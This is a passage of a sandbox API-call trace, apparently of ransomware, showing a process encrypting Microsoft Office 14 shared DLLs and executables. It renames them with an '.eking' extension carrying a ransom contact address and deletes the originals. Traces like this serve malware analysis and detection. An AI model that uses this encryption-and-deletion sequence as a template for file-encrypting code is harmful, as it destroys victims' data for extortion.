Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0274.816] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0274.816] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0274.816] ReadFile (in: hFile=0x1c8, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0274.820] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x15d120, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0274.820] ReadFile (in: hFile=0x1c8, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0274.828] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x3d7360, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0274.828] ReadFile (in: hFile=0x1c8, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0274.848] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0274.848] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0102, lpOverlapped=0x0) returned 1 [0274.875] SetEndOfFile (hFile=0x1c8) returned 1 [0274.876] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x3d7360, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0274.876] WriteFile (in: hFile=0x1c8, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0274.877] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x15d120, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0274.877] WriteFile (in: hFile=0x1c8, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0274.879] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0274.879] WriteFile (in: hFile=0x1c8, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0274.881] FlushFileBuffers (hFile=0x1c8) returned 1 [0274.897] CloseHandle (hObject=0x1c8) returned 1 [0274.897] SetEvent (hEvent=0xe0) returned 1 [0274.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0274.898] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=204168) returned 1 [0274.898] CloseHandle (hObject=0x1c8) returned 1 [0274.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe")) returned 0x20 [0274.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe")) returned 0x20 [0274.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0274.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0274.899] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0274.899] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0274.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x178 [0274.899] ReadFile (in: hFile=0x1c8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x31d88, lpOverlapped=0x0) returned 1 [0274.904] WriteFile (in: hFile=0x178, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x31d90, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x31d90, lpOverlapped=0x0) returned 1 [0274.908] WriteFile (in: hFile=0x178, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0274.908] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0274.909] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0274.909] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x31d88, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x31d88, lpOverlapped=0x0) returned 1 [0274.909] FlushFileBuffers (hFile=0x1c8) returned 1 [0274.913] FlushFileBuffers (hFile=0x178) returned 1 [0274.917] CloseHandle (hObject=0x1c8) returned 1 [0274.918] CloseHandle (hObject=0x178) returned 1 [0274.918] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe")) returned 1 [0274.920] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0274.921] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=25417600) returned 1 [0274.921] CloseHandle (hObject=0x178) returned 1 [0274.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll")) returned 0x20 [0274.921] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0274.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0274.922] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0274.922] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0274.922] ReadFile (in: hFile=0x178, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0274.926] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x8147d5, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0274.926] ReadFile (in: hFile=0x178, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0274.938] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x17fd780, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0274.938] ReadFile (in: hFile=0x178, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0274.955] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0274.955] WriteFile (in: hFile=0x178, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0102, lpOverlapped=0x0) returned 1 [0274.982] SetEndOfFile (hFile=0x178) returned 1 [0274.982] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x17fd780, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0274.982] WriteFile (in: hFile=0x178, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0274.984] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x8147d5, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0274.984] WriteFile (in: hFile=0x178, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0274.985] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0274.985] WriteFile (in: hFile=0x178, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0274.987] FlushFileBuffers (hFile=0x178) returned 1 [0275.031] CloseHandle (hObject=0x178) returned 1 [0275.031] SetEvent (hEvent=0xe0) returned 1 [0275.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0275.032] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=473952) returned 1 [0275.032] CloseHandle (hObject=0x178) returned 1 [0275.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe")) returned 0x20 [0275.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe")) returned 0x20 [0275.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0275.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0275.033] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0275.033] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0275.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1c8 [0275.033] ReadFile (in: hFile=0x178, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x73b60, lpOverlapped=0x0) returned 1 [0275.046] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x73b70, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x73b70, lpOverlapped=0x0) returned 1 [0275.057] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0275.057] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0275.058] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0275.058] WriteFile (in: hFile=0x178, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x73b60, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x73b60, lpOverlapped=0x0) returned 1 [0275.060] FlushFileBuffers (hFile=0x178) returned 1 [0275.088] FlushFileBuffers (hFile=0x1c8) returned 1 [0275.091] CloseHandle (hObject=0x178) returned 1 [0275.092] CloseHandle (hObject=0x1c8) returned 1 [0275.092] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe")) returned 1 [0275.098] SetEvent (hEvent=0xe0) returned 1 [0275.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0275.098] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=72521600) returned 1 [0275.098] CloseHandle (hObject=0x1c8) returned 1 [0275.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll")) returned 0x20 [0275.099] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0275.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0275.100] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0275.100] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0275.100] ReadFile (in: hFile=0x1c8, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0275.106] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x170dd2a, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0275.106] ReadFile (in: hFile=0x1c8, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0275.114] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x44e9780, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0275.114] ReadFile (in: hFile=0x1c8, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0275.223] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0275.223] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0102, lpOverlapped=0x0) returned 1 [0275.245] SetEndOfFile (hFile=0x1c8) returned 1 [0275.245] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x44e9780, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0275.245] WriteFile (in: hFile=0x1c8, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0275.247] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x170dd2a, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0275.247] WriteFile (in: hFile=0x1c8, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0275.248] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0275.248] WriteFile (in: hFile=0x1c8, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0275.249] FlushFileBuffers (hFile=0x1c8) returned 1 [0275.693] CloseHandle (hObject=0x1c8) returned 1 [0275.694] SetEvent (hEvent=0xe0) returned 1 [0275.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0275.695] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1269648) returned 1 [0275.695] CloseHandle (hObject=0x100) returned 1 [0275.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll")) returned 0x20 [0275.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll")) returned 0x20 [0275.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0275.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0275.697] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0275.697] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0275.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1c8 [0275.697] ReadFile (in: hFile=0x100, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x110100, lpOverlapped=0x0) returned 1 [0275.739] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x110100, lpOverlapped=0x0) returned 1 [0275.850] ReadFile (in: hFile=0x100, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x25e90, lpOverlapped=0x0) returned 1 [0275.851] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x25ea0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x25ea0, lpOverlapped=0x0) returned 1 [0275.854] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0275.854] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0275.854] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, 